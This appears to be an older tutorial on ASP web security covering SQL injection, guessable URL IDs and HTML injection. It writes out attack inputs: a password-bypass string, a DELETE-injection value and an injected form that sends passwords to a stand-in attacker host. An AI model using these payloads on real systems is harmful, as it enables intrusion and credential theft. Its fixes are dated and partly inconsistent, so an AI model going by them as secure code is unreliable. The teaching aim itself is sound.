ASP - security

TAD

Introduction

In this article we'll be looking at ASP and security. Some of the most basic security measures are sadly still overlooked by many ASP coders because they take a few more seconds to type an extra line or two of code.

Single-quotes

As you might already know, when building a SQL statement you need to enclose strings in '...' (single-quotes). If these strings are coming from user-input you might be tempted to do something very obvious like this:

   searchtext = Request.Form("search")
   sql = "SELECT * FROM Users WHERE password='" &emp; searchtext &emp; "'"

So if the user types hugi in the search box the resulting sql will be this:

    SELECT * FROM Users WHERE password='hugi'

But suppose the user types Adok's pc the resulting sql will be this:

    SELECT * FROM Users WHERE password='Adok's pc'

which will make your ASP page barf with an error.

But suppose the user types ' or 1=1 the sql will be this:

    SELECT * FROM Users WHERE password='' OR 1=1

As you can see we have bypassed the password totally, not an ideal suituation ;)

The solution is easy. We replace ' (1 single-quote) with '' (2 single-quotes). You can do this either directly, or (as I prefer) using a quote-function such as QSTRING(...)

Function QSTRING(str)
	QSTRING = Replace(str, "'", "''")
End Function
So when building up the SQL statement we call the QSTRING function whenever we want to insert a string.

    sql = "SELECT * FROM Users WHERE password=" &emp; QSTRING(searchtext)

This time if the user types ' or 1=1 the sql be become:

    SELECT * FROM Users WHERE Password=''' or 1=1'

So that's one security hole plugged. We can use a similiar solution to the next security hole.

ID and numbers

Like user input for Strings, numbers (especially ID numbers) can provide an easy way to insert extra SQL commands.

    userid = Request.Form("userid")
    sql = "SELECT * FROM EliteUsers WHERE ID=" & userid

A user could enter 0; DELETE * From Products and the sql would be:

    SELECT * FROM EliteUsers WHERE ID=0; DELETE * FROM Products

As you can imagine deleting every product in database isn't good ;)

The solution is again simple. We check if the userid is a number, if not we can default to 0.

Function QNUM(n)
    If isNumeric(n) Then QNUM = Cdbl(n) Else QNUM = 0
End Function

Again we can build up the sql using our new quote-number function

    userid = Request.Form("userid")
    sql = "SELECT * FROM EliteUsers WHERE ID=" & QNUM(userid)

URLs, QueryStrings and IDs

There is another security risk with using ID numbers. This time it comes from using them inside a URL. The security hole this time isn't from using them in an SQL statement, but rather from being a simple number.

Very recently I coded the ASP for an e-card website where people can visit, choose a card, enter a message and email the link to a friend. It was all very straight forward, no difficult code but after looking at the URL link to view the e-card there was an obvious security hole.

Whenever somebody created a new e-card online it was entered into the database and given a new ID number. The URL to view the e-card could be something like this (note, this is a fake url !!)

  http://www.read-my-card.com/view.asp?ID=28

When this (fake) URL is entered into the browser it would display a picture together with a message from the sender, the sender's name and their e-mail.

Can you spot the obvious security hole?

Okay, what does the ID=28 at the end of the URL tell us? It tells us there are 27 other e-cards and more importantly we can simply edit this number and view other peoples e-cards (together with their e-mail addresses!).

So how can we prevent users from seeing other people's e-cards?

One method would be to ask the viewer to enter their email and only display the e-card if it was sent to them, but users hate typing their details in especially their email address.

Hashes and Passwords

The method I used was simple and didn't force the viewer to re-enter his/her email everytime they recieved a new e-card. In the database was an extra field. This field was automatically filled with a 30 digit password each time a new e-card was created.

    Random Timer
    password = ""
    For i=1 to 30
      password = password & Chr(65+Rnd(1)*26)
    Next
    ecardURL = "http://www.read-my-card.com/view.asp?pw=" &emp; password

The password was also stored in the database together with the other e-card details (senderName, senderEmail, recName, recEmail, cardStyle, message etc..).

An example URL link could (for example) look like this:

http://www.read-my-card.com/view.asp?pw=ANQJZIWKDHJFYWPZMSNWJQU2BNXHZKQU

So the view.asp page would do a search of it's database using the pw (password) rather than a straight, linear ID number to find a particular card.

Of course there are far, far better way of generating a password. You could use a hash function to combine the date with the viewer's email address and create a number/string from that.

HTML insertion

Another common mistake with ASP is using just Response.Write(..) or the more compact <%= ... %> methods of displaying user input on a page. Suppose you have written a simple message board (don't worry, I will continue my message board tut in a later Hugi ;) which allows users to submit their messages and then to view them. Now what happens if someone enters <B> or </TABLE> for example?

In most cases the resulting HTML page will simply mess up with broken tables, incorrect colours, fonts etc..

But it can pose a security risk. Lets look at a FORM on an ASP page for login

<form action="login.asp" method="post">
Welcome <%=username%>. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form>

Looking at the source in the client's browser could (for example) give this:

<form action="login.asp" method="post">
Welcome MrHacker. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form>

Suppose we managed to create a username containing the following HTML tags:

</form><form action="http://www.p4ssw0rdz.com/rip.asp" method="post">

This time the resulting HTML in the client's browser is this:

<form action="login.asp" method="post">
Welcome </form><form action="http:/www.p4ssw0rdz.com/rip.asp" method="post">. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form>

We have effectively hacked the FORM's action url to redirect it to our own (http://www.p4ssw0rdz.com/rip.asp).

The solution is very easy, we use the Server.HTMLEncode(..) function to translate those dangerous <...> characters into < ... > HTML entities. Another solution could be to validate/filter user input very strictly when it is entered. This time the ASP code would look like this:

<form action="login.asp" method="post">
Welcome <%=Server.HTMLEncode(username)%>. Please enter your password:
<input type="password" value="">
<input type="submit" value="submit">
</form> 

I suggest doing both strict validation (on the server) AND using Server.HTMLEncode( ) whenever you are inserting 'plain text' into the HTML document.

Allowing <...>

But Suppose you wish to allow a limited sub-set of HTML <...> tags such as <b> <i> <u> and so on... There are two popular solutions; 1) disallow all <..> tags and use [b] [i] [u] instead (this is very popular on message boards) or 2) parse the string yourself and delete any tags not in your safe list.

TIP: When parsing HTML/XML you should try using the useful Split(..) function to break a document into small chunks and then step through each element in the array.

Closing words

As you can see the techniques above are so easy to implement that they take almost zero effort. In fact the QNUM and QSTRING quote-functions can actually save you a bit of typing.

TAD